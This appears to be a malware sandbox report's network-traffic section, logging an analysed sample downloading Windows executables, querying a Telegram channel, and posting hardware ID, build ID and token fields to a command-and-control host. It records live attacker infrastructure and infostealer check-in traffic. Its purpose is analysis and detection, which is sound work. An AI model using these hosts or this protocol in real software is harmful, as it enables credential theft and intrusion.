Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 10:22:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 10:22:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 10:22:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:23:00 GMTContent-Type: application/octet-streamContent-Length: 414248Last-Modified: Mon, 30 Sep 2024 04:37:16 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fa2afc-65228"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5c 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 22 06 00 00 08 00 00 00 00 00 00 4e 40 06 00 00 20 00 00 00 60 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 06 00 4b 00 00 00 00 60 06 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 2c 06 00 28 26 00 00 00 80 06 00 0c 00 00 00 c8 3e 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 20 06 00 00 20 00 00 00 22 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 05 00 00 00 60 06 00 00 06 00 00 00 24 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 06 00 00 02 00 00 00 2a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 40 06 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 2e 06 00 18 10 00 00 03 00 02 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b7 dc 3b 9f 38 e4 60 f0 c6 77 a2 a5 08 0f e5 a0 19 86 ff d4 8b 72 8b 62 1a 84 93 8a e4 20 c2 ed 43 04 47 41 ba f2 7e 7a 78 46 ae 63 c0 40 51 65 ff b9 38 88 d6 05 c1 93 38 24 d9 ec 61 f5 87 e5 87 93 4e f9 1d 21 51 1e 34 66 b5 13 c6 9a 5c 0e 84 ea 1a b4 64 df 14 61 ad 9e 65 39 34 05 db d7 5e 51 2a 38 66 a9 76 e5 02 07 e4 77 e3 57 1c c6 77 48 09 6b 51 f2 f1 1b 2c d2 db bd 33 c3 41 24 23 b9 e0 d8 50 16 8c 9c e2 87 b4 29 cf f4 53 d0 8b ee 6f 81 91 e8 62 2b 67 59 7f 5c 6f ae 8e b1 f0 d1 35 84 6d e5 29 ea 1d 32 1b 74 cc ab 35 d7 43 a6 c5 26 7a 37 ad 89 9d 1d 2d 8f 44 db 9e d9 c5 b8 71 21 11 b8 d6 8e 1f 8f 6f dc f4 e7 a3 b7 14 ba 07 84 d9 57 32 46 9c cb f4 6e 3b bb ee 7e 8a 39 2e 92 c7 e5 09 71 34 18 6c 9e 56 96 0f c6 4f 0c 70 18 6c dc f5 6d 7d e3 a0 27 d3 c4 cf 3a d1 97 45 b9 f6 cb bd e6 99 2f 25 32 ff fb b7 5f 01 c8 67 05 ca c0 3d 19 37 7f 0a d1 e8 96 f6 cf b7 fa 6d 8b 84 e8 d4 e2 1c dc b6 30 5e 87 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:23:01 GMTContent-Type: application/octet-streamContent-Length: 380456Last-Modified: Mon, 30 Sep 2024 04:37:24 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fa2b04-5ce28"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 9e 05 00 00 08 00 00 00 00 00 00 4e bc 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 bc 05 00 4b 00 00 00 00 c0 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 a8 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 c8 ba 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 9c 05 00 00 20 00 00 00 9e 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 05 00 00 00 c0 05 00 00 06 00 00 00 a0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 05 00 00 02 00 00 00 a6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 bc 05 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 aa 05 00 18 10 00 00 03 00 02 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 58 f1 31 35 d1 e9 51 1a 14 54 9d 77 7b a3 ef 8c 05 fa a9 ca 06 9a b3 9a d5 76 5e 00 22 df fa eb 06 53 a5 d7 8f ee b6 30 5a 6f bc ef 58 93 ac b7 96 f8 15 7c 83 a1 da 8c c7 f3 b1 bf 6f 88 94 d4 a0 41 53 b4 e8 44 a2 12 a6 6e f0 f4 45 0f 65 b6 f7 e2 35 5f f7 30 1b ba 95 ad ae 45 f9 84 06 03 41 aa 9a 85 ab b7 3b bb fa 01 0c 24 dc 33 a6 5a d8 ba 21 68 3b c7 25 16 bc 0f 0b 72 3b 47 0a 8c 75 18 13 f4 52 80 8b 07 24 27 b9 39 d0 b0 ce f2 c7 56 0b 8b 37 02 4f 3f 14 43 92 dd 3a fb 16 fd b4 7c e9 e5 cd 2c 60 32 76 71 85 32 74 be 58 2f 06 67 3d 5e 6e 28 14 ad dd b4 3f 25 4e 12 c8 d5 d4 67 c6 11 96 51 94 25 a2 25 e1 c9 af 49 72 6f 14 30 e1 06 88 48 09 66 d4 2e 77 2b 5e cf cc f7 63 c7 1d f7 69 9e d9 2f 86 27 c3 ae d5 e9 46 fb 7f fd a9 f0 1d c8 a2 cc 12 46 52 f1 45 fa 74 96 c1 05 9d 2b 76 9c 37 53 8d 67 aa ec 17 33 dc f6 ab 8e da 7d a5 28 c8 b8 c0 a7 48 a1 b2 ba 29 17 75 21 5f 35 fb b1 02 59 62 8e 0a 85 74 8

Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=0cc506041bab305345_15129518936506012804
Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=0cc506041bab305345_15129518936506012804
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEHHost: urusvisa.comContent-Length: 255Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 39 43 38 36 45 42 46 37 43 38 34 36 35 38 35 34 32 32 34 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="hwid"DE9C86EBF7C8465854224-a33c7340-61ca------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------CAKEBFCFIJJKKECAKJEH--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIIIHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="mode"1------BAEBGHCFCAAFIECAFIII--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKEHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 2d 2d 0d 0a Data Ascii: ------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="mode"2------DBKKFHIEGDHJKECAAKKE--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAEHost: urusvisa.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 2d 2d 0d 0a Data Ascii: ------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="mode"21------JECAFHJEGCFCBFIEGCAE--
